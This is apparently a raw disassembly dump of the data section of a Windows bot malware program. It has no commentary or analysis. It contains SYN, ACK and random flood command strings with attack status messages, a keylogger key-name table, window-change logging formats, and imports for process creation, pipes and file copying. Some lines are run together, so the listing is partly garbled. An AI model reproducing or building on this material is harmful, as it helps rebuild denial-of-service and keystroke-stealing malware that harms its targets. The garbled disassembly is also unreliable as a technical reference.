aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41EF8E+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41EF8E+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41EF8E+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F8D8:loc_41F9CDo
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F8D8+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F8D8+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F8D8+ADo
		align 10h
dword_421C50	dd 0FFFFFFFFh, 4202D0h,	4202D4h, 0FFFFFFFFh, 42033Fh, 420343h
					; DATA XREF: sub_420119+5o
		dd 421D78h
off_421C6C	dd offset loc_4208A8	; DATA XREF: sub_4206B0+4Do
					; sub_4208C4+Co
		dd offset sub_42076E
		dd offset sub_42088B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_4206B0+1Eo
		dd offset dword_421DB0
off_421C8C	dd offset loc_4207D5	; DATA XREF: sub_42070A+4Eo
					; sub_420798+11o ...
		dd offset sub_42076E
		dd offset sub_42077B
dword_421C98	dd 0FFFFFFFFh						; sub_4207F1+34r
		dd offset dword_421E00
off_421CA0	dd offset loc_420990	; DATA XREF: sub_4208DC+4Do
					; sub_4209AC+Co
		dd offset sub_42076E
		dd offset sub_420973
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4208DC+1Eo
		dd offset dword_421E30
off_421CC8	dd offset sub_420A12	; DATA XREF: sub_420A2E+8o
					; sub_420A6B+8o ...
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0Ah,	42h, 0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: .text:00420AD2o
		align 4
		dd offset dword_421E78
off_421CE8	dd offset loc_420AED	; DATA XREF: sub_420AD8o
					; .text:off_43B1A0o ...
		align 10h
dword_421CF0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_421D10	dd offset off_43B1A0	; DATA XREF: .text:00421D60o
					; .text:00421D94o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421D28	dd offset off_43B1B8	; DATA XREF: .text:00421D5Co
					; .text:00421D90o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D40	dd offset off_43B1D8	; DATA XREF: .text:00421D58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D40
		dd offset off_421D28
		dd offset off_421D10
		dd 0
		db    0			; DATA XREF: .text:00421D88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421D58h, 3 dup(0)
		dd offset off_43B1D8
		dd offset unk_421D68
		align 10h
		dd offset off_421D28
		dd offset off_421D10
dword_421D98	dd 4 dup(0)			dd 2, 421D90h
dword_421DB0	dd 3 dup(0)			dd offset off_43B1B8
		dd offset dword_421D98+8
		align 8
off_421DC8	dd offset off_43B1F8	; DATA XREF: .text:00421DE0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421DC8
		dd offset off_421D28
		dd offset off_421D10
dword_421DEC	dd 3 dup(0)			dd 3, 421DE0h
dword_421E00	dd 3 dup(0)			dd offset off_43B1F8
		dd offset dword_421DEC+4
		dd offset off_421D10
dword_421E18	dd 4 dup(0)			dd 1, 421E14h
dword_421E30	dd 3 dup(0)			dd offset off_43B1A0
		dd offset dword_421E18+8
		align 8
off_421E48	dd offset off_43B218	; DATA XREF: .text:00421E60o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E48
		dd 0
		db    0			; DATA XREF: .text:00421E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 421E60h
dword_421E78	dd 3 dup(0)			dd offset off_43B218
		dd offset unk_421E68
		align 10h
		dd 0FFFFFFFFh, 420B4Ch,	0
		dd offset sub_420B44
dword_421EA0	dd 19930520h, 2, 421E90h, 4 dup(0)		dd 0FFFFFFFFh, 420B70h,	0
		dd offset loc_420B78
dword_421ECC	dd 19930520h, 2, 421EBCh, 4 dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_404DF7
		align 10h
		dd 2 dup(1), 421EF8h
dword_421F1C	dd 19930520h, 2, 421EE8h, 1, 421F08h, 3	dup(0)
					; DATA XREF: .text:loc_420B8Co
		dd offset off_43B1A0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	420A6Bh, 2 dup(0)
		dd offset off_43B1B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4207F1h, 2 dup(0)
		dd offset off_43B1D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4208C4h, 0
dword_421F98	dd 3, 421F78h, 421F58h,	421F38hdword_421FA8	dd 0							; sub_42088B+12o
		dd offset sub_42084E
		dd 0
		dd offset dword_421F98
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0)		dd 0FFFFFFFFh, 420B98h
dword_421FE0	dd 19930520h, 1, 422000h, 5 dup(0)dword_422000	dd 0FFFFFFFFh, 420BACh,	2, 421F58h, 421F38h, 0dword_422018	dd 0				dd offset sub_420798
		dd 0
		dd offset dword_422000+8
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0)		dd 0FFFFFFFFh, 420BC0h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0)		dd 0FFFFFFFFh, 420BD4h
dword_422078	dd 19930520h, 1, 422098h, 5 dup(0)		dd 0FFFFFFFFh, 420BE8h,	0
		dd offset off_43B1F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4209ACh, 0
dword_4220C0	dd 3, 4220A0h, 421F58h,	421F38hdword_4220D0	dd 0							; sub_420973+12o
		dd offset sub_420936
		dd 0
		dd offset dword_4220C0
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0)		dd 0FFFFFFFFh, 420BFCh
dword_422108	dd 19930520h, 1, 422128h, 5 dup(0)		dd 0FFFFFFFFh, 420C10h,	2231Ch,	2 dup(0)
		dd 22368h, 211B0h, 2216Ch, 2 dup(0)
		dd 22B0Eh, 21000h, 5 dup(0)
		dd 7C85F90Fh, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
		dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C812641h, 7C81DC03h
		dd 7C80A490h, 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
		dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C80C058h, 7C80929Ch
		dd 7C80A427h, 7C82FA46h, 7C814EEAh, 7C80A7D4h, 7C802442h
		dd 7C809BF8h, 7C80180Eh, 7C809B47h, 7C810D87h, 7C8312E5h
		dd 7C801A24h, 7C80B4CFh, 7C83632Dh, 7C8361EEh, 7C910331h
		dd 7C810637h, 7C810A77h, 7C81153Ch, 7C80EDD7h, 7C80E7ECh
		dd 7C80E866h, 7C834EB1h, 7C8137D9h, 7C810B8Eh, 7C9010EDh
		dd 7C901005h, 7C80B829h, 7C91188Ah, 7C801D77h, 7C80ADA0h
		dd 7C80B6A1h, 7C82F7A0h, 7C80FE82h, 7C80FF19h, 7C80B974h
		dd 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h, 7C802367h
		dd 7C8329D9h, 7C812782h, 7C835DCAh, 7C81AE17h, 7C80DDFEh
		dd 7C80DDF5h, 7C81E0C7h, 7C812ADEh, 7C8310F2h, 7C81CDDAh
		dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh, 7C80A0D4h, 7C8216A4h
		dd 7C801E16h, 7C80D262h, 7C830B14h, 7C9105D4h, 7C91043Dh
		dd 7C937A40h, 7C8350BFh, 7C80176Bh, 7C9179FDh, 7C801EEEh
		dd 7C812F1Dh, 7C8111DAh, 7C814AF2h, 7C810EF8h, 7C812BB6h
		dd 7C809AE4h, 7C809A51h, 7C809E79h, 7C812A09h, 7C9109EDh
		dd 7C838DE8h, 7C80CCA8h, 7C812E76h, 7C809915h, 7C8127A7h
		dd 7C862E2Ah, 7C81DF77h, 0
		dd 71AB4428h, 71AB664Dh, 71AB3EA1h, 71AB4519h, 71AB3E00h
		dd 71AB88D3h, 71AC1028h, 71AB4FD4h, 71AC0BDEh, 71AB2DC0h
		dd 71AB4544h, 71AB2BF4h, 71AB2B66h, 71AB3B91h, 71AB406Ah
		dd 71AB615Ah, 71AB428Ah, 71AB9639h, 0
		dd 5F325357h, 642E3233h, 6C6Ch,	784500B0h, 68547469h, 64616572h
		dd 1D50000h, 54746547h,	436B6369h, 746E756Fh, 2990000h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db  9Ah	; š
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 16Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 349h
aSleep		db 'Sleep',0
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 655202ABh, 69466461h, 656Ch,	6C43002Eh, 4865736Fh, 6C646E61h
		dd 3970065h, 74697257h,	6C694665h, 35B0065h
aTransactnamedp	db 'TransactNamedPipe',0
aM		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 1D6h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db  3Fh	; ?
		db 1, 47h, 65h
aTdateformata	db 'tDateFormatA',0
		align 2
		dw 169h
aGetlasterror	db 'GetLastError',0
		align 2
aI_0		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 15Bh
aGetfilesize	db 'GetFileSize',0
		db  56h	; V
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		db 'Å',0
aFindclose	db 'FindClose',0
		db '¼',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db '»',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db  47h	; G
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aP		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db  1Ah
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aZ		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  98h	; ˜
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 177h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		db 'ê',0
aFormatmessagea	db 'FormatMessageA',0
		align 4
		db    0
		db 2, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db 0F9h	; ù
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 10h
		db '²',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribu_0	db 'tFileAttributesA',0
		align 2
		retf
; ---------------------------------------------------------------------------
		db 1
aGettemppatha	db 'GetTempPathA',0
		align 2
		dw 152h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 65500287h, 614E6B65h, 5064656Dh, 657069h, 7544008Ch
		dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentproc	db 'GetCurrentProcess',0
a__0		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 4
		db 0DFh	; ß
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db 0FAh	; ú
		db 1, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
aP_0		db '¯',0
aExitprocess	db 'ExitProcess',0
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		dw 27Ch
aOpenprocess	db 'OpenProcess',0
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
		dw 385h
aWaitforsingleo	db 'WaitForSingleObject',0
aZ_0		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		dd 65540352h, 6E696D72h, 54657461h, 61657268h, 2640064h
		dd 65766F4Dh, 656C6946h, 3890041h
aWidechartomult	db 'WideCharToMultiByte',0
		dd 6547010Ch, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65540351h
		dd 6E696D72h, 50657461h, 65636F72h, 7373h, 6547016Ch, 636F4C74h
		dd 49656C61h, 416F666Eh, 1700000h, 4C746547h, 6369676Fh
		dd 72446C61h, 73657669h, 2060000h, 70616548h, 6F6C6C41h
		dd 20C0063h, 70616548h,	65657246h, 2CC0000h, 556C7452h
		dd 6E69776Eh, 1D80064h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db 0BEh	; ¾
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db  10h
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 1AFh
aGetstartupinfo	db 'GetStartupInfoA',0
		db    8
		db 1, 47h, 65h
aTcommandlinea	db 'tCommandLineA',0
		dw 1DEh
aGetversion	db 'GetVersion',0
		align 4
		db  50h	; P
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		db    8
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 378h
aVirtualfree	db 'VirtualFree',0
		db  75h	; u
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  2Ch	; ,
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db  9Dh	; 
		db 2, 52h, 61h
aIseexception	db 'iseException',0
		align 2
		dw 212h
aHeapsize	db 'HeapSize',0
		align 2
		dw 23Ah
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 23Bh
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 0FCh
aGetcpinfo	db 'GetCPInfo',0
		dw 0F5h
aGetacp		db 'GetACP',0
		align 4
		db  8Bh	; ‹
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db  62h	; b
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aA_0		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
aU		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  4Dh	; M
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  4Fh	; O
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 319h
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 654701B1h, 64745374h, 646E6148h, 656Ch, 6547015Eh, 6C694674h
		dd 70795465h, 1B20065h,	53746547h, 6E697274h, 70795467h
		dd 4165h, 654701B5h, 72745374h,	54676E69h, 57657079h, 32C0000h
		dd 53746553h, 61486474h, 656C646Eh, 0E50000h, 73756C46h
		dd 6C694668h, 66754265h, 73726566h, 33D0000h
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		db  29h	; )
		db 2, 49h, 73h
aBadreadptr	db 'BadReadPtr',0
		align 10h
		db  26h	; &
		db 2, 49h, 73h
aBadcodeptr	db 'BadCodePtr',0
		align 10h
		db    5
		db 3, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 10h
a4		db '4',0
aComparestringa	db 'CompareStringA',0
		align 2
a5		db '5',0
aComparestringw	db 'CompareStringW',0
		align 4
		db    8
		db 3, 53h, 65h
aTenvironment_1	db 'tEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 4
		dd 139h	dup(0)
dword_423000	dd 0				dd offset sub_4036B6
		dd offset sub_404EA5
		dd offset sub_4209C4
dword_423010	dd 0		dword_423014	dd 0				dd offset sub_4166E2
		dd offset sub_41CC21
		dd offset sub_41D972
		dd offset sub_41E7E4
dword_423028	dd 0		dword_42302C	dd 0				dd offset sub_41DA17
dword_423034	dd 0		dword_423038	dd 0				dd offset sub_41E7F5
dword_423040	dd 4 dup(0)	unk_423050	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: sub_4010B2+31Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 8
unk_4230E8	db    2			; DATA XREF: sub_401444+390o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 10h
unk_423150	db    2			; DATA XREF: sub_401444+326o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_4231B4	db    2			; DATA XREF: sub_401444+12Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 4
unk_4231E8	db    2			; DATA XREF: sub_401444+C2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
		align 8
unk_423238	db    2			; DATA XREF: sub_401444+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423280	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182F+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4232BC	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CB+295o
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
		align 10h
dword_4232F0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+4E4o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 8
dword_423358	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+471o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401BD4+2FDo
					; sub_40CD3A+2A6Do ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401BD4+2DDo
					; sub_40CD3A+2A56o
aSyn		db 'syn',0              ; DATA XREF: sub_401BD4+2BDo
					; sub_40CD3A+2A3Eo
dword_4233CC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+15Fo
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 10h
dword_423400	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+EEo
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 10h
dword_423450	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD4+70o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 4
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BCC	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423C04	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: sub_40211C+ACo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211C+86o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40211C+4Eo
					; sub_40CD3A+291Bo
		align 4
asc_423C48:				; DATA XREF: sub_40211C+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+21Co
		align 10h
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1D9o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 8
